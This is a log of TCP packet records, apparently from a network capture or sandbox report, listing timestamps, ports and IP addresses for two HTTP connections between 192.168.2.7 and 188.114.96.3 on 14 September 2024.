Sep 14, 2024 18:44:25.486282110 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486315012 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486366034 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486368895 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.486398935 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486432076 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486437082 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.486466885 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.486476898 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.486620903 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.487227917 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.487313032 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.487410069 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.487457037 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.487490892 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.487523079 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.487538099 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.487538099 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.487556934 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.487616062 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.487698078 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.488151073 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.488183975 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.488253117 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.488272905 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.488286018 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.488312006 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.488317966 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.488352060 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.488368034 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.488451004 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.489011049 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.489065886 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.489099026 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.489109993 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.489130974 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.489187956 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.489427090 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.492650032 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.492702961 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.492734909 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.492747068 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.492801905 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.492810965 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.492835999 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.492870092 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.492893934 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.492994070 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.493038893 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493071079 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493105888 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.493134022 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493168116 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493201971 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493236065 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493299961 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.493299961 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.493412018 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.493874073 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493925095 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493957996 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.493963957 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.493990898 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.494008064 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.494024992 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.494077921 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.494165897 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573205948 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573276043 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573311090 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573343039 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573394060 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573410034 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573410034 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573426962 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573461056 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573492050 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573534966 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573566914 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573600054 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573632956 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573663950 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573695898 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573717117 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573717117 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573751926 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.573800087 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.573846102 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574136972 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574331045 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574347973 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574382067 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574414968 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574423075 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574446917 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574480057 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574537039 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574584007 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574661016 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574693918 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574727058 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574732065 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574775934 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574807882 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574830055 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574841022 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574877024 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574912071 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.574914932 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.574944973 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575027943 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.575160980 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.575438023 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575474024 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575525045 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575546980 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.575556993 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575589895 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575618982 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.575623035 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575656891 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575721025 CEST	80	54890	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.575741053 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.575741053 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.575829983 CEST	54890	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.731786013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.737657070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:25.737813950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.737956047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:25.743786097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.208125114 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.210872889 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.215775967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314151049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314184904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314202070 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314218044 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314234018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314248085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314263105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314311028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314311981 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.314327955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314342976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.314372063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.314372063 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.314380884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.314738035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.319262981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.319282055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.319297075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.319355965 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.319391966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.401153088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401173115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401196957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401211977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401226997 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401318073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.401434898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.401494980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401513100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401526928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401562929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.401592970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.401633978 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401648998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.401695013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.402450085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.402465105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.402478933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.402493954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.402508974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.402515888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.402604103 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.403326035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.403374910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.403390884 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.403405905 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.403446913 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.403476000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.403491020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.403597116 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.404315948 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.404330969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.404345036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.404381037 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.404536009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.404643059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812191010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812223911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812239885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812254906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812269926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812283993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812299967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812371016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812499046 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812530994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812546015 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812561035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812575102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812587023 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812591076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812607050 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812618971 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812623024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812637091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812652111 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812654972 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812668085 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.812674999 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.812702894 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813258886 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813282967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813297987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813312054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813323021 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813328028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813344955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813359022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813374043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813388109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813399076 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813402891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813420057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813435078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813436031 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813451052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813457966 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813467026 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813483000 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813497066 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813499928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813518047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813525915 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813534021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813549995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813558102 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813566923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813590050 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.813946009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813967943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813983917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.813998938 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814006090 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814064980 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814080954 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814086914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814100981 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814110994 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814119101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814133883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814146996 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814150095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814163923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814172029 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814178944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814194918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814204931 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814214945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.814225912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.814253092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.817313910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817353010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817368984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817385912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.817413092 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.817477942 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817652941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817667961 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817682028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817703962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817708969 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.817722082 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817727089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.817739010 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817754984 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.817774057 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.817859888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.818538904 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818552971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818569899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818614960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.818651915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818667889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818681955 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818696976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.818697929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.818727016 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.819452047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819468021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819483995 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819520950 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.819544077 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.819549084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819565058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819580078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819596052 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.819605112 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.819699049 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.820311069 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820590973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820606947 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820696115 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.820713043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820729017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820743084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820759058 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820768118 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.820795059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.820799112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820816040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.820847988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.821540117 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821556091 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821573019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821605921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.821630001 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.821688890 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821703911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821718931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821733952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.821747065 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.821836948 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.822525024 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822541952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822566986 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822581053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822596073 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822602987 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:26.822613001 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:26.822622061 CEST	54891	80	192.168.2.7	188.114.96.3
